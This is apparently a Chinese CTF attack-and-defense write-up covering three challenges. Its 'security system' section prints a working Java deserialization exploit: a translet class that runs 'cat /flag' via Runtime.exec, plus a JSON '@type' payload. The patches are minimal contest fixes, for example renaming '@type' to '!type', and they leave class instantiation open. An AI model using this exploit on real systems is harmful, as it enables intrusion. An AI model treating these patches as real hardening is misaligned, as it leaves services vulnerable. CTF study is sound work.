前两题 python 的环境我都跑不起来,赛后有网了也跑不起来(((

不过现在都复现出来了
什么?
exp ?! 不想放出来~

whatis

fix

修复 file/__init__.py

不允许 filename 跨目录写

1
2
if '..' in data["filename"]:
return jsonify({"code": 0})

ezcache

fix

修复 views.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from django.shortcuts import render, HttpResponse
from django.views.decorators.cache import cache_page


# Create your views here.

@cache_page(60)
def index(request):
return render(request,'index.html')


def generate_page(request):
if request.method == "POST":
intro = str(request.POST.get('intro'))
if 'admin' in intro or 'config.' in intro:
return HttpResponse("can't be as admin")
outer_html = ('<h1>hello {user}</h1></p><h3>{intro}</h3>').format(user="AnonymousUser",intro=intro)
f = request.FILES.get("file", None)
filename = request.POST.get('filename') if request.POST.get('filename') else f.name
if '.py' in filename or '.html' in filename:
return HttpResponse("no py")
if f is None:
return HttpResponse("no file")
else:
with open("/app/static/{}".format(filename), 'wb+') as ff:
for chunk in f.chunks():
ff.write(chunk)
return HttpResponse(outer_html + "</p><img src='/static/{}'>".format(filename))
else:
return HttpResponse("unable")

security system

break

没有使用内存马(因为比赛的时候拿着以前存过的内存马子打了,发现没打上,急急急,而且懒得调试了),而是反序列化将命令执行的结果写到 static map 中进行获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import com.example.jackson.SecurityCheck;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.*;
import java.util.HashSet;

public class leak extends AbstractTranslet {

static {
try {
Process process = Runtime.getRuntime().exec("cat /flag");
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
String flag = output.toString();
HashSet hashSet = new HashSet();
hashSet.add(SecurityCheck.base64Encode(serialize(flag)));
Class<?> cls = Class.forName("com.example.jackson.SecurityCheck");
SecurityCheck securityCheck = (SecurityCheck) cls.newInstance();
SecurityCheck.setFieldValue(securityCheck,"treeMap",hashSet);
System.out.println(SecurityCheck.deserialize(serialize(flag)));
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream os = new ByteArrayOutputStream();
ObjectOutputStream output = new ObjectOutputStream(os);
output.writeObject(obj);
output.close();
return os.toByteArray();
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

此数据包发送三次即可获取 flag

classes=org.springframework.ui.ModelMap

obj 如下

1
2
3
4
5
{
"@type": "com.example.jackson.SecurityCheck",
"safe": false,
"treeMap": { "@type": "java.util.HashSet", "map": { "rO0AB......": null } }
}

调这个 java 的 json 刚好是午饭时间,于是那天中午都没吃午饭(

fix

@type 改成 !type 就行了,溜(x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static Object deObject(Object ob) throws Exception {
if (ob instanceof LinkedHashMap) {
LinkedHashMap map = (LinkedHashMap) ob;
String type = (String) map.get("!type");
if (!"".equals(type) && type != null) {
Class clazz = Class.forName(type);
Object obj = clazz.newInstance();
for (Object key : map.keySet()) {
Object value = map.get(key);
if (!key.equals("!type")) {
Field field = getField((Class<?>) clazz, (String) key);
if (field != null) {
setFieldValues(obj, (String) key, value);
}
}
}
return obj;
}
return map;
}
return ob;
}